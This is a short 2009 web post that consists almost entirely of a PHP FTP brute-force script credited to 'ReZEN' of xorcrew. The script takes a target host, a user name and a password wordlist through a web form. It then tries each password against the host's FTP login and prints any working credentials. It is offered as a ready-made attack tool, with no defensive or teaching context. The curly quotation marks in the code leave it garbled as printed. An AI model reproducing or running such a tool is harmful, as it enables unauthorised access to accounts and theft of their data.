FTP brute force (php)

26 Oct 2009 @ 1:44 PM

<?php
error_reporting(0);
$host = $_POST["host"];
$user = $_POST["user"];
$dict = $_POST["dict"];
if (!isset($_POST['submit']))
{
echo “<form method=\”post\” action=\”ftpbrute.php\”>”;
echo “Host: <input type=\”text\” name=\”host\”><br>”;
echo “User: <input type=\”text\” name=\”user\”><br>”;
echo “Wordlist: <input type=\”text\” name=\”dict\”><br>”;
echo “<input type=\”submit\” value=\”Start\” name=\”submit\”>”;
echo “</form>”;
}else{
$file = fopen ($dict, “r”);
while (!feof ($file)) {
$pass[$i] = fgets($file, 1024);
$i++;
} fclose($file);
echo “[o] Simple FTP brute by ReZEN <br>”;
echo “[o] http://www.xorcrew.net/ReZEN<br>”;
$limit = count($pass);
$width2 = $limit;
echo “[o] Loaded “.$limit.” passwords. <br>”;
echo “[o] Progress: <br>”;
echo “<IMG SRC=\”end.jpg\” WIDTH=\”".$width2.”\” HEIGHT=\”10\” \”><br>”;
for ($i=0; $i<$limit; $i++){
$ftp = ftp_connect($host, 21);
if(ftp_login($ftp, $user, $pass[$i])){
echo “<br>[o] Success!<br>[o] Username: “.$user.”<br>[o] Password:”.$pass[$i].”<br>”;
}else{
$width = 1;
echo “<IMG SRC=\”progress.jpg\” WIDTH=\”".$width.”\” HEIGHT=\”10\” \”>”;
}}
ftp_close($ftp);
echo “<br>Done.”;
}
?>